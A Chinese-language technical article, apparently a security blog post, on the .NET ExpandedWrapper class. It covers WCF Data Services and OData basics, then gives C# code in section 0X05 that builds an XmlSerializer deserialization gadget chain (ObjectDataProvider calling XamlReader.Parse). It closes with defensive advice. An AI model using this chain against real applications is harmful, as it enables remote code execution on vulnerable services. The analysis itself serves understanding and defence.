解读.NET XmlSerializer反序列化核心链路ExpandedWrapper
字数 1625 2025-08-06 21:48:48
.NET XmlSerializer反序列化核心链路:ExpandedWrapper深度解析
0X01 背景
ExpandedWrapper在.NET XmlSerializer反序列化过程中扮演着关键角色,它能够完美扩展两个泛型类,并通过公开属性存储投影结果。微软官方明确标注该类为WCF数据服务基础设施,不建议直接在代码中使用。
[System.ComponentModel.EditorBrowsable(System.ComponentModel.EditorBrowsableState.Never)]
public sealed class ExpandedWrapper<TExpandedElement, TProperty0> : ExpandedWrapper<TExpandedElement>
{
public TProperty0 ProjectedProperty0 { get; set; }
protected override object InternalGetExpandedPropertyValue(int nameIndex)
{
if (nameIndex == 0) return this.ProjectedProperty0;
throw Error.NotSupported();
}
}
0X02 WCF Data Services基础
WCF Data Services(原ADO.NET Data Service)核心位于System.Data.Services.dll,提供System.Data.Services.DataService类,能够自动从System.Data.Entity对象生成具有CRUD功能的WCF服务。
基本配置步骤:
-
创建数据库表(如Category和Product)
-
创建ADO.NET实体数据模型
-
配置DataService:
public class WcfDataService1 : DataService<TestEntities> { public static void InitializeService(DataServiceConfiguration config) { config.SetEntitySetAccessRule("*", EntitySetRights.All); config.DataServiceBehavior.MaxProtocolVersion = DataServiceProtocolVersion.V2; } } -
实体类需添加
DataServiceKey特性:[System.Data.Services.Common.DataServiceKey("Id")] public partial class Categroy { // 类实现 }
0X03 OData协议
OData(Open Data Protocol)是基于HTTP、AtomPub和JSON的Web协议,支持通过URI查询和更新数据。
常用查询示例:
| 查询类型 | 示例URL |
|---|---|
| 元数据 | http://localhost:60701/WcfDataService1.svc/$metadata |
| 选择特定列 | http://localhost:60701/WcfDataService1.svc/Categroy?$select=Id,CategroyName |
| 条件查询 | http://localhost:60701/WcfDataService1.svc/Categroy?$filter=length(categroyName) eq 10 |
| 排序 | http://localhost:60701/WcfDataService1.svc/Categroy?$orderby=Id asc |
| 分页 | http://localhost:60701/WcfDataService1.svc/Categroy?$top=2 |
0X04 ExpandedWrapper核心用法
ExpandedWrapper解决了WCF Data Services客户端扩展查询的需求,允许在一次查询中获取关联数据。
基本查询示例:
var q = from d in context.Categroy
.Select(p => new ExpandedWrapper<Categroy, IEnumerable<Product>>
{
ExpandedElement = p,
ProjectedProperty0 = p.Product
})
select new
{
Name = d.ProjectedProperty0,
ElementName = d.ExpandedElement
};
多级扩展查询:
var q = from d in context.Categroy
.Select(p => new
{
ExpandedElement = p,
ProjectedProperty0 = new
{
ExpandedElement = "产品分类" + p.CategoryName,
ProjectedProperty0 = p.Product.Select(x => new {产品名 = x.ProductName }),
ProjectedProperty1 = new ObjectDataProvider()
}
})
select new
{
Name = d.ProjectedProperty0
};
关键特性:
ProjectedProperty0和ProjectedProperty1均为公共属性- 可以存储任意.NET类型
- 支持多级嵌套扩展
0X05 反序列化利用链
ExpandedWrapper在XmlSerializer反序列化漏洞中扮演关键角色,以下是攻击链分析:
- XAML利用:通过恶意XAML中的
<ObjectDataProvider>执行代码 - XamlReader.Parse:使用该方法解析恶意XAML
- ObjectDataProvider:承载XamlReader实例并调用Parse方法
- ExpandedWrapper:包装XamlReader和ObjectDataProvider
- XmlSerializer:序列化整个结构
攻击链代码实现:
// 1. 准备恶意XAML
string xml = File.ReadAllText("Dictionary1.xaml");
// 2. 创建XamlReader和ObjectDataProvider
XamlReader xamlReader = new XamlReader();
ObjectDataProvider objectDataProvider = new ObjectDataProvider();
objectDataProvider.ObjectInstance = xamlReader;
objectDataProvider.MethodParameters.Add(xml);
objectDataProvider.MethodName = "Parse";
// 3. 使用ExpandedWrapper包装
ExpandedWrapper<XamlReader, ObjectDataProvider> expandedWrapper =
new ExpandedWrapper<XamlReader, ObjectDataProvider>();
expandedWrapper.ProjectedProperty0 = objectDataProvider;
// 4. 序列化
using (TextWriter textWriter = new StreamWriter("demo.txt"))
{
XmlSerializer xmlSerializer = new XmlSerializer(
typeof(ExpandedWrapper<XamlReader, ObjectDataProvider>));
xmlSerializer.Serialize(textWriter, expandedWrapper);
}
攻击链流程总结:
XAML:<ObjectDataProvider>
→ XamlReader.Parse(XAML)
→ ObjectDataProvider.ObjectInstance=xamlReader
→ ExpandedWrapper(XamlReader,ObjectDataProvider)
→ expandedWrapper.ProjectedProperty0=objectDataProvider
→ xmlSerializer.Serialize(expandedWrapper)
0X06 防御建议
- 避免反序列化不受信任的数据
- 使用安全的序列化替代方案,如JSON.NET
- 实施输入验证和过滤
- 限制XmlSerializer的类型白名单
- 更新.NET框架以获取最新安全补丁
ExpandedWrapper的设计初衷是解决WCF Data Services的查询扩展需求,但其公开属性和灵活的类型支持使其成为反序列化攻击的理想载体。理解其工作机制对于防御相关攻击至关重要。